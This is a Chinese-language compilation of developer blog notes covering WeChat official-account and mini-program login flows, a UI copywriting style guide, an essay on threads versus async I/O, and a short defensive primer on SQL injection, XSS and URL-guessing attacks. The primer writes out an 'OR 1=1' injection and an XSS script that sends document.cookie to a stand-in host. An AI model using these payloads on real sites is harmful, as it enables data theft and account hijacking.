首先我们要获取公众号的“__biz”值
在电脑浏览器上打开该公众号的任何一篇历史文章，在源代码中搜索“__biz=”就可以找到，该值以“==”结尾，例如找到：
__biz=MzIwNDcwODQ2NQ==那么就可以拼成网址：（只能在微信中打开）
https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=MzIwNDcwODQ2NQ==#wechat_redirect
早期这个地址是这样的：
https://mp.weixin.qq.com/mp/getmasssendmsg?__biz=MzIwNDcwODQ2NQ==#wechat_redirect
现在它重定向到第一个地址去了，所以直接用新的就可以了。
若提示“页面无法打开”，可能的原因是没有加“#wechat_redirect”。
【推荐】临时口令和会话口令合二为一的流程（适合随时授权）
前提：
小程序已绑定到微信开放平台。
分两种场景：
场景一：仅需要获取 unionid，且不需要获取头像昵称等用户信息，且已经有很大部分用户仅通过 code2Session 就能获取到 unionid（如：已关注了绑定同一微信开放平台的其它公众号，参 UnionID 机制说明）；
场景二：仅需要获取 unionid，或需要获取 unionid 及头像昵称等用户信息，或很大部分用户不能通过 code2Session 获取到 unionid。
场景一步骤：
小程序调用 wx.login()，将 code 发送到开发者服务器
开发者服务器请求微信接口 code2Session，获得 session_key、openid，有机会获得 unionid
若没有返回 unionid，尝试用 openid 从数据库中获取 unionid
如果数据库中没有找到对应的 unionid，告知小程序端使用 button + getUserInfo 的方式请求用户授权
授权允许（判断 detail.errMsg 是否为 getUserInfo:ok）则将加密数据传回开发者服务器进行解密，得到 unionid、头像、昵称等信息，保存到数据库
若授权拒绝，则无动作，用户再次点击 button 会重新弹起授权框
* 该流程仅部分用户的首次使用才要求授权。其它注意事项和流程细节见下方流程图。
场景二步骤：
小程序调用 wx.login()，将 code 发送到开发者服务器
开发者服务器请求微信接口 code2Session，获得 session_key、openid
尝试用 openid 从数据库中获取 unionid 和/或 用户信息
如果数据库中没有找到对应的 unionid 和/或 用户信息，告知小程序端使用 button + getUserInfo 的方式请求用户授权
授权允许（判断 detail.errMsg 是否为 getUserInfo:ok）则将加密数据传回开发者服务器进行解密，得到 unionid、头像、昵称等信息，保存到数据库
若授权拒绝，则无动作，用户再次点击 button 会重新弹起授权框
* 该流程仅每个用户的首次使用才要求授权。其它注意事项和流程细节见下方流程图。
上述两种场景的设计流程，只要数据库中已保存用户的 unionid（和/或 用户信息），都不再需要用户再次授权（即使在“设置”中关闭了“用户信息”授权，点击小程序右上角三点按钮，选择关于小程序，点击右上角的三点，选择设置）。
场景一流程图：
场景二流程图：
流程图中的“临时口令”仅用于关联“通过 code2Session 获得的 session_key”，并在用户授权后带回换取 session_key。原因是 session_key 是机密数据，不允许被传到小程序端。临时口令用完即删（设置表 dt__weapp_code2session 中相应记录的该字段为空）。
【推荐】临时口令和会话口令合二为一的流程（适合随时授权）
微信小程序 login 后，在用 code 换 session 时，如果小程序绑定了微信开放平台，应该会返回 unionid。
文档：https://developers.weixin.qq.com/miniprogram/dev/api-backend/code2Session.html。
但实际上部分用户仍然是没有 unionid 的，把上述接口返回的数据记录下来如：
仔细阅读官方 UnionID 机制说明，通过用户授权 wx.getUserInfo 才会保证有 unionid 返回，否则只会在“用户关注了绑定同一微信开放平台的同主体的公众号”等情况下才会返回 unionid。
确保获取 unionid 流程参此文。
| 二维码类型 | 可扫码授权的微信号 | 其它微信号 | ||
| 直接扫码 | 将二维码截图发送给可扫码授权的微信号 | 无需劳烦管理员的方式 | ||
| 登录微信公众平台 | 管理员与运营者 | 扫码后需管理员验证登录（管理员通过“公众平台安全助手”接收消息，点开详情后点击“确定”） | 授权人用摄像头扫码①，点击“确定” | 成为运营者② |
| 设置公众号IP白名单 | 管理员与长期运营者 | 无法完成 | 授权人用摄像头扫码①，点击“确定” | 成为长期运营者② |
| 公众号绑定运营者 | 管理员 | 无法完成 | 管理员用摄像头扫码①，点击“确定” | 无 |
小程序添加/删除项目成员 | 管理员 | 无法完成 | 管理员直接识别二维码，点击“确定” | 无 |
| 小程序修改名称、修改简称、修改登录邮箱、修改密码 | 管理员 | 无法完成 | “修改简称”管理员用摄像头扫码①，点击“确定”，其它未测 | 无 |
| 小程序修改业务域名 | 管理员、有“开发者”权限的项目成员 | 无法完成 | 授权人直接识别二维码，点击“确定” | 成为有“开发者”权限的项目成员 |
| 微信开放平台绑定小程序 | 管理员 | 无法完成 | 管理员用摄像头扫码①，点击“确定” | 无 |
① 摄像头扫码：无法直接用“识别二维码”，必须把二维码发送到身边的其它设备，再使用手机摄像头完成扫码。
② 成为运营者要求绑定银行卡；成为运营者将占用“微信号绑定的帐号”数量，详见说明。若达到上限，只有法定代表人可继续成为运营者。在公众号“公众平台安全助手”中可查询绑定的帐号。
另外：
小程序添加/删除体验成员无须管理员授权
如果管理员未关注公众号“公众平台安全助手”，待测……
原文标题：新手还在学习排版配色，高手已经在做内容设计了…
任何事物的呈现和传达都需要通过一定的媒介，在媒介承载的过程中，均会产生损耗。我们设计的目的之一就是将所传达的内容在媒介承载的过程中让损耗降到最低，呈现出我们想要给受众的东西，且能够被快速察觉、理解和获取（主动及被动的）。
文本作为语言沟通的书面化，一直以来承载着大量的信息，也是生活中最常见及熟知的方式。
当前人们快节奏的生活状态、快消的阅读习惯以及注意力分散，所以需要我们通过设计手段来减少视觉、心理及认知压力，让用户能够快速定位、理解和消化。同样，我们也需要根据目标、任务甚至品牌的诉求，从而更好的服务于主题。
以下是工作中一些心得和总结，旨在从更多角度去思考和完善，让文本信息能够得到更好的呈现和传达。
一、前提
前提是做事的先要条件。
达成目标
了解受众
具体情景
二、目的
目的是做这件事的动力。
满足用户所需，帮助完成工作；
简单直接，有效传达；
达成一致，统一规范可实施。
三、角度
角度是考虑要做的内容。
准确性
一致性
易读性
内容调性
1. 准确性
秉持文本信息准确明了、简达明意，无歧义
首先要明确所传达的群体对象，尽量避免使用行话，使用「用户」能直接理解的文本信息，当然相应的专业词汇也应给予良好的解释和说明。
案列：我们将 「循环次数」 更改成 「轮播次数」 ，「循环次数」会让人产生思考（循环一次是播放一次还是两次的），而 「轮播次数」 就显得更加直观明了且更符合上下文的语境。
用词完整、阐述直接
用词完整，例如保存修改，而不是简化为保存；阐述直接，避免模棱两可，模糊不清。
内容传达上应做的良好的「自解释」
例如：涉及操作事件的文本命名应根据上下文准确的进行表达，而不是含糊其辞的，使文本能够准确的解释和表达将要发生的事件及行为。
寻找更加合适的表达方式
例如：未输入提示，「XXX不能为空」 和 「请输入XXX」，第一个在表达上其实有一些责怪，而第二个表达同样说明了意思，但在口吻上却更加温和，并告诉用户应该怎样操作和行动。
避免错别字
错别字只会拉低产品的品质和用户内心的形象，请务必严格检查。避免把 「登录」 写成 「登陆」。
准确应用标点符号
标点符号能够赋予文字节奏，表达语气以及对内容的组织。准确应用，能够帮助文字更加有效传达和被人理解。
2. 一致性
同一事物用词一致，消除重复
例如，涉及新建的操作，一会用「新建」，一会又用「新增」、「创建」或者「添加」；涉及称谓，一会用「你」，一会又用「您」、「我」或者「我的」；涉及帮助，一会用「支持」，一会用「帮助」或者「服务」等等，我们应该消除这些重复，统一用词。
相似场景、意思和语境下句式表述一致
例如，未输入提示，应避免「请输入XXX」和「XXX不能为空」等不同的表达方式。
标点符号规范
根据符号使用规范并结合自身产品情况具体定义。例如：全角和半角，如常见「：」和「:」，截断省略「…」等等。又如：标题，提示文本不加结束符号等。
时间表达规范
时间是一个记录戳，需要根据与当前进行定义，显示不同的格式。
例如：今天发生的（自0时起），显示时分（24h）；今天之前发生的，显示月-日（例如02-12）；跨年，显示年-月-日（例如2017-12-30）。
数字使用规范
例如：统计数据统一使用阿拉伯数字。
大小写使用规范
专有名词大小写，单位符号等。例如：iOS
中西文混排规范
中英文之间需要加空格等。
代称一致
第一人称「我」，第二人称「你」和「您」，具体根据场景进行使用，同场景统一一致。你和您请不要随意混用或均使用，应当统一。
操作名称与目的页面标题一致
常见于移动端，在 PC 常见于链接及导航。
3. 易读性
简化内容，避免啰嗦
简单而直接，避免长段使用短语，保持措辞简洁，让读者感受到阅读乐趣，引诱他们深入阅读。
打破复杂冗长
通过段落、有序列表（项目编号）、无序列表等方式使内容结构化，便于视觉扫描。
段落：根据句意，进行分段呈现。
有序：当项目顺序或优先级重要（程序等）时，使用编号列表。
无序：项目相关时使用项目符号列表，但顺序或优先级无关紧要。
结构化：节奏和韵律。例如，电话号码或者银行卡号，使用连字符或空格使其容易被读取和识别。
重要内容突出显示
让用户首先看到最重要的内容，而不是去寻找它们。
经过良好的排版
合理使用文字大小：使用合理的字体大小，太小太大对于屏幕阅读来说都是低效率的。网页端字体大小一般使用不低于12px，更加直观易辨（对于多数人而言）的字体14px和16px；移动端字体大小不小于10pt（sp），12-18pt（sp）都是常用的字体选择范围。
颜色与对比度：颜色我们需要考虑色彩本身（色相、明度和饱和度）给人直观感受和文化寓意的，以及文本与背景之间是否有足够的对比度，从而方便人们可以更加直观舒服的进行阅读。W3C 建议的视觉呈现文本和文本的图像具有对比度至少为4.5:1，大型文字和图像的对比度至少为3:1，具体详情可了解 Contrast (Minimum):Understanding SC 1.4.3
字间距：汉字属于方块字，原则上文字外框彼此紧贴配置，称作密排；在各字之间加入固定量的空白来排列文字，称作疏排；减少字距，使得文字外框一部分重叠，称作紧排。文字排版时，会根据具体情况对字间距进行调整。大多时候我们对采用疏排方式，增加字间距，以提高易读性。
行高：具有良好的行距的文本，更易阅读和引导用户视线。与行之间的空白称为行距，文字尺寸+行距=行高，行距一般介于文字尺寸的50%–100%之间，自然行高的设置一般为文字尺寸的1.5-2倍。文字尺寸较小时，行高设定也会相对较小。行距一般不会超过文字尺寸，因为这样并不会因此而增加易读性。
段间距：段落与段落之间的距离，段间距大于行间距，行间距一般设置为文字大小的2-3倍之间，合适的段间距能够缓解用户的视线压力，起到很好的节奏及阅读定位。
行字数：一行的文字数量。一行文本过长，用户需要去移动脖子或视角，易造成的眼睛疲惫感，造成阅读困难；此外，在大段文本中找到正确的行也将变得困难。过短视线需要不断换行，从而打断了读者阅读节奏，造成尴尬的断裂效果；行太短也会造成用户在一行没读完的情况下去关注和阅读下一行。
虽然至今汉字依然没有正统的方法和具体行字数来衡量文本的完美长度，个人经验在12px下30-60汉字左右（包含标点），具体也要根据内容、人群等约束和变量，当然最重要的是要相信你自己（专业的设计师）的眼睛和判断。
词语尽量避免同行断开：例如，行末为「跳」，下行开头为「转」，读起来就有断句的存在感。
对齐方式：中文（简体）排版一般遵循左对齐的原则，符合我们从左到右的阅读习惯。文字居中，本身不适合可读性，但可用于许多小段文本块。右对齐在表格设置中，可用于数字的对比等应用。
符号避头尾：中文中行首遇到不能置于行首的标点符号，必须要将移动到前一行行尾。
合理突出：对于关键字、要点通过位置、加粗、比例大小和色彩处理等，以便让用户直接关注到。当然也要控制突出数量，毕竟都是「重点就没有重点」，过多也会扰乱和分散用户的注意力。
链接：链接文本需要很好的说明用户将要去何处，可以使用蓝色或者下划线标示出链接的样式，这是用户熟悉方式。神奇的「下划线」为体验赋能
尽量少用斜体：PC 和无线端的各个官方的中文字体包并没有斜体预设，生拉硬扯的倾斜在一定程度上是影响美观度，并造成一定的阅读困难。如果是为了突出或区别可以考虑使用字重、大小和颜色等方式。
层级处理：有对比就有层级关系，可通过大小、字重、色彩、距离、方向、纹理、形状、背景等等方式，可以让整体排版布局更加富有层次结构，让内容的可读性得到明显的提升。 例如：标题、副标题、引用和内容也是一种层级处理（结合了大小、色彩或者距离等等）。
留白：合适的留白可以更好的烘托内容主题，缓解视觉压力。
数量信息前后有汉字时需加空格：不加空格会出现前后拥挤的视感，另一方面可凸显数字信息。
4. 内容调性
依据产品定位，通过文本表述传递其相应的价值观和情感诉求
任何产品都有所针对的人群及自身的品牌形象。C端产品和 B端产品，儿童产品和成年人产品，所使用的语言表达方式自然也都是不一样的。
依据不同状态和用户群体
根据状态（正面、中性和负面）和用户（新手、中级用户和专家），使用合理的语调及用词规范，以适应不同的情境和状况。
始终坚持积极主动的，而不是消极令人沮丧
「请输入内容」与「错误，内容不能为空」，同样的意思却有不同的感受，从积极的一面表达就是传播正能量。
四、通用产出物
字体
日期和数字
标点符号
大小写
中英文混排
代称
1. 字体
字族 Font-Family
Font-Family 属性设置的字体系列。Font-Family 属性设置多个字体作为一种「后背」机制，浏览器不支持第一种字体，它会尝试下一个字体。
如果字体系列的名称超过一个字，它必须用引号，如Font-Family：「宋体」。
对于依附在 PC 端产品而言，统一的字体规范，以保证在不同平台、不同浏览器下保持良好的美观性和易读性。
以下呈现的是 Ant Design 的字体家族。个人在使用了多款后，觉得最好的一份：
font-family：「Chinese Quote」, -apple-system, BlinkMacSystemFont, 「Segoe UI」, 「PingFang SC」, 「Hiragino Sans GB」, 「Microsoft YaHei」, 「Helvetica Neue」, Helvetica, Arial, sans-serif,「Apple Color Emoji」, 「Segoe UI Emoji」, 「Segoe UI Symbol」;
如果大家想了解字体排列前后顺序的玄机可以认真看《推荐！Web中文字体应用指南》这篇文章。
以下备注区域，是我在使用字族的路上磕磕碰碰所收集到的有限知识，也算知其所以然了，若有不妥、错误和缺漏欢迎指正。
备注区域：
-apple-system：macOS 和 iOS平台的 Safari 调用 SanFrancisco 字体
BlinkMacSystemFont：macOS Chrome 调用 SanFrancisco 字体
Roboto字体，由 Google 开发，是 Android 4.0「Ice Cream Sandwich」及后面Android版本的默认字体。
Segoe UI 取代Tahoma，Windows 从 Vista 开始的界面默认西文字体。利用 ClearType 技术的新字体 Segoe UI 看起来比现在略显僵硬的 Tahoma 更加人性化。
Tahoma 被采用为 Windows 2000、Windows XP、Windows Server 2003及 Sega 游戏主机 Dreamcast 等系统的默认字型。
Arial 是一套随同多套微软应用软件所分发的无衬线体 TrueType字型。
Microsoft YaHei 微软雅黑，该字体将作为 Windows Vista 的默认字体取代2001年推出的 XP系统下默认的宋体汉字，以支持高清显示的 ClearType 功能。
Simsun 宋体，一直是简体中文版 Windows XP系统及之前版本的默认字体。但由于字体的特性，在Windows Vista 中已经改用支持 OpenType 的微软雅黑，
HanHei SC 威锋瀚黑，现苹果简体中文，OS X 10.11 El Capitan 开始，
STHeiti 华文黑体，分为「黑体-简（Heiti SC）」和「黑体-繁（Heiti TC）」，OS X 10.6 Snow Leopard 直至 OS X 10.10 Yosemite。
Hiragino Sans GB 冬青黑体
STXihei 华文细黑，是苹果公司 Mac OS X9 以及之前版本的操作系统的中文默认字体，截至 OS X 10.5 Leopard。
PingFang SC 为 iOS9.0 以后系统自带中文字体。
SanFrancisco iOS9 正式发布之后，替换了之前的 Helvetica Neue 成为了 iPhone/iPad 系列设备的默认字体。
Myriad Set Pro 苹果向 adobe 公司定制了一款西文字体，是以 myriad 为原型的，完成后在市面上叫做「myriad set」，后期升级为「myriad set pro」。
Helvetica Neue 意为「新 Helvetica」
Helvetica 是苹果电脑的默认西文字体
sans-serif 并非一个具体字体，而是css的通用字体族，具体是什么字体是由浏览器设置决定的。
字号 font-size
标题，内容，注释说明等不同字号的大小。
字间距 letter-spacing
根据不同字号，及文本数量进行字间距定义。
行高 line-height
设置行高能很好的解决，缓和上下文本之间拥挤在一起的情况。
颜色 text-color
这里主要讲下注意对比度的问题，很多产品在这一点上都忽视了这一点，搞出了所谓的「小清新」。
你可以查看完整的《网页内容可访问性指南WCAG 2.1》
《掌握具有共享样式的文本系统》（搭梯子访问）
2. 日期和数字
日期
使用完整数字日期，如：2018-01-02。
时间
使用24小时制，如 13:01:29
具体到时分秒，如当前对话显示 09:01:02
使用半角 「:」
日期和时间之间包含一个空格，如 2018-09-01 13:01:20。
数字
使用阿拉伯数字。
对四位或更多位数的数字使用逗号。
对手机号码使用前后无空格的连字符「-」。不要使用点，空格等其他符号。
数字范围使用前后无空格的连字符「-」。
正负数后不加空格。
数字和字符之间不需要空格
货币
人民币符号（¥）在数字前面，精确到小数点后两位。
测量单位
储存单位（B、kB、MB、GB、TB），在数量和度量单位之间包含一个空格。
对于长度「毫米（mm）、厘米（cm）、分米（dm）、千米（km）、米（m）、微米（μm）、纳米（nm）等」和重量「千克（kg）、克（g）、毫克（mg）、微克（ug）等」等测量单位应为小写（电流单位除外）。在数量和度量单位之间包含一个空格。
屏幕单位「像素（px）、逻辑分辨率（pt、dp、sp）、英寸（in）等 」应为小写。在数量和度量单位之间包含一个空格。
在连续列出尺寸时，将度量单位放在末尾，而不是在每个数字之后，并包括一个空格。
在所有情况下，数字和单位之间包含一个空格。HTML代码的最小空间是 & hairsp; 或 & #8202;
测量单位分为基本单位和导出单位。国际单位制共有7个基本单位长度：
长度：米 m；
质量：千克（公斤） kg；
时间：秒 s；
电流：安[培] A；
热力学温度：开[尔文] k；
物质的量：摩[尔] mol；
发光强度：坎[德拉]cd；
并由物理关系导出的单位称「导出单位」 。
3. 标点符号
省略不必要的标点
标题、副标题、输入框下的提示文本、输入框占位符、悬停提示中的文本、Toast中、弹窗等短句，在遣词造句时尽量避免标点符号，始终末尾不要使用句点。
有序列表和无序列表
使用冒号引入项目列表，列表后不使用标点。
使用列表来表示步骤、组或信息集。简要介绍列表的上下文。在顺序重要时列出数字列表，比如当您描述流程的步骤时。当列表的顺序不重要时，不要使用数字。
常用标点符号规范
空格：链接与前后文本之间增加空格；数字和单位之间包含一个空格；电话号码与前后文本包含一个空格；
省略号「…」：半角省略号，超出截断代替省略文本；
星号「*」：半角星号。表单必填、说明备注；
连接号「-」：半角连接号，前后无空格，如2018-01-04，2008-2018；
冒号「:」：半角冒号，用于时间的表示，如16:45 ；
冒号「：」：全角冒号，用于表单；
破折号「——」：中文破折号占两个汉字空间；
书名号「《》」：产品中常用于法律条文。
相关推荐：
4. 大小写
专门名词大小写
文件格式
当一般引用文件扩展名类型时，全部大写而不包含句点。
GIF
PDF
HTML
JPG 格式
引用特定文件时，文件名应该是小写的：
内容策略-设计完全手册.pdf
皮皮虾.gif
西湖.jpg
hot.html
5. 中西文混排
中英文之间需要加空格
中文与数字之间需要加空格
中文为主，使用全角符号且与英文或数字之间不加空格
6. 代称
为了表达双方的平等，避免使用「您」。使用「你」代称客户/用户，借以表达客户的口吻。在客户/用户为主的情况下使用「我」。避免同一句子中混用「你」和「我」。
对于「您」还是「你」的使用并非绝对，主要看行业以及服务的对象
在《胜于言传-Web内容创作与设计的艺术》中作者建议：
当用户提问的时候：
在问题中使用「我」和「我的」（用户的声音）
在答案中使用「你」和「你的」（应用对用户说话）
用「我们」和「我们的」代表回答公司
当应用提问的时候：
在问题中使用「你」和「你的」（应用向用户提问）
在答案中使用「我」和「我的」（用户的声音）
用「我们」和「我们的」代表回答公司
五、指导建议
操作行动
文本说明
句式结构
语音和语调
写作建议
1. 操作行动
按钮
清晰可预测。应该能够预测当点击按钮时会发生什么。
行动号召。按钮应始终带有强烈的动词，鼓励行动。为了给用户提供足够的上下文，在按钮上使用 {动词} + {名词} 格式，除了保存，关闭，取消或确定等常用操作。
以下是常用词的含义，以避免不恰当或混淆使用：
所有具体的用词需结合场景和生活习惯。
链接
使用描述性的链接文本。切勿使用「点击这里」或「这里」作为链接文本。
如果一个链接出现在句子的末尾或逗号之前，不要链接标点符号。
链接使用蓝色，这是用户习以为常的认知，并明确区分点击和未点击的区别。
2. 文本说明
对操作说明，功能说明，名词（术语）解释，提示信息等进行用户测试，是否明白其意，记住这是一个不断优化的过程。
以下是产品内的主要文本：
操作文本：按钮；
导航文本：全局和局部导航、目录、链接；
说明文本：功能说明、术语解释；
提示文本：弹框、toasts、操作反馈、系统反馈、通知等；
操作说明：功能引导说明，操作文档；
标题和副标题：弹框标题、操作说明标题、法律条款标题等；
条款：法律条款、申明；
ALT：为图片添加文字说明。
3. 句式结构
通用场景下的语句可进行归纳在一起，形成统一的句式结构。
例如：
操作反馈：成功直接提示结果，失败显示结果+说明原因+如何解决。
二次确认：先说明利害，再询问是否操作。
标题：「动词」+ 「名词」格式等。
4. 语音和语气
这听起来是谁，什么样的语音和语气能代表我们，我们想传达什么的形象。
因此，你可以建立一套准则，一般而言准则应该：
基于产品当前的业务；
准则可被执行，避免过于空洞；
易于记忆，3-5个尚可；
并随着产品发展和愿景的变化而不断适应改进。
例如：
积极主动
始终坚持积极主动的，而不是消极令人沮丧。
自信专业
避免听起来傲慢、亲密、孩子气或其他不适当的或非正式的。
友好尊重
依据不同状态（正面、中性和负面）和用户群体（新手、中级用户和专家），使用合理的语气及用词规范。
5. 写作建议
个人写作过程中的一些小感悟：
好的结果是不断修改来的，修改的基础是要先写下来，所有先记录而不是停留在脑子里，这才是一切开始的基础。
记住用户很忙且没有耐性，甚至不聪明，这会不断的促使你修改调整。
找人阅读并呈现结果，并询问其含义和建议。这是检验的最佳实践。
过段时间再来看看，或许有更好的方式。
结尾
这并非是一个完整的（内容层面可能保存图片风格，插画图标等），还有很多地方可以补充。重要的是找到适合你的产品，并有这样的意识去不断优化你的产品内容，从而更好的服务你的用户。
互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。
这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说，假设页面输出为：
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。
要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。
最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
随着拥有多个硬线程CPU（超线程、双核）的普及，多线程和异步操作等并发程序设计方法也受到了更多的关注和讨论。本文主要是想与园中各位高手一同探讨一下如何使用并发来最大化程序的性能。
多线程和异步操作的异同
多线程和异步操作两者都可以达到避免调用线程阻塞的目的，从而提高软件的可响应性。甚至有些时候我们就认为多线程和异步操作是等同的概念。但是，多线程和异步操作还是有一些区别的。而这些区别造成了使用多线程和异步操作的时机的区别。
异步操作的本质
所有的程序最终都会由计算机硬件来执行，所以为了更好的理解异步操作的本质，我们有必要了解一下它的硬件基础。 熟悉电脑硬件的朋友肯定对DMA这个词不陌生，硬盘、光驱的技术规格中都有明确DMA的模式指标，其实网卡、声卡、显卡也是有DMA功能的。DMA就是直接内存访问的意思，也就是说，拥有DMA功能的硬件在和内存进行数据交换的时候可以不消耗CPU资源。只要CPU在发起数据传输时发送一个指令，硬件就开始自己和内存交换数据，在传输完成之后硬件会触发一个中断来通知操作完成。这些无须消耗CPU时间的I/O操作正是异步操作的硬件基础。所以即使在DOS这样的单进程（而且无线程概念）系统中也同样可以发起异步的DMA操作。
线程的本质
线程不是一个计算机硬件的功能，而是操作系统提供的一种逻辑功能，线程本质上是进程中一段并发运行的代码，所以线程需要操作系统投入CPU资源来运行和调度。
异步操作的优缺点
因为异步操作无须额外的线程负担，并且使用回调的方式进行处理，在设计良好的情况下，处理函数可以不必使用共享变量（即使无法完全不用，最起码可以减少共享变量的数量），减少了死锁的可能。当然异步操作也并非完美无暇。编写异步操作的复杂程度较高，程序主要使用回调方式进行处理，与普通人的思维方式有些初入，而且难以调试。
多线程的优缺点
多线程的优点很明显，线程中的处理程序依然是顺序执行，符合普通人的思维习惯，所以编程简单。但是多线程的缺点也同样明显，线程的使用（滥用）会给系统带来上下文切换的额外负担。并且线程间的共享变量可能造成死锁的出现。
适用范围
在了解了线程与异步操作各自的优缺点之后，我们可以来探讨一下线程和异步的合理用途。我认为：当需要执行I/O操作时，使用异步操作比使用线程+同步I/O操作更合适。I/O操作不仅包括了直接的文件、网络的读写，还包括数据库操作、Web Service、HttpRequest以及.Net Remoting等跨进程的调用。
而线程的适用范围则是那种需要长时间CPU运算的场合，例如耗时较长的图形处理和算法执行。但是往往由于使用线程编程的简单和符合习惯，所以很多朋友往往会使用线程来执行耗时较长的I/O操作。这样在只有少数几个并发操作的时候还无伤大雅，如果需要处理大量的并发操作时就不合适了。
- 因为只有“认证的服务号”才有“网页授权获取用户基本信息”接口功能，所以首先你得拥有已认证的服务号，和一个已认证的订阅号（就是本例中用来被加粉的）。订阅号必须认证才有“获取用户基本信息”接口功能
- 注册微信·开放平台，绑定这两个公众号
- 实现过程：用订阅号的权限获取所有用户信息（绑定到开放平台后用户接口返回的数据已包含 UnionID），并且当用户关注或取消关注时更新用户信息；打开网页时，用服务号的权限获取当前用户的 UnionID；由于这两个公众号绑定在同一个开放平台，所以这两个 UnionID 对同一用户是一样的，这样就可以实现在网页上判断用户是否已关注订阅号
资源中心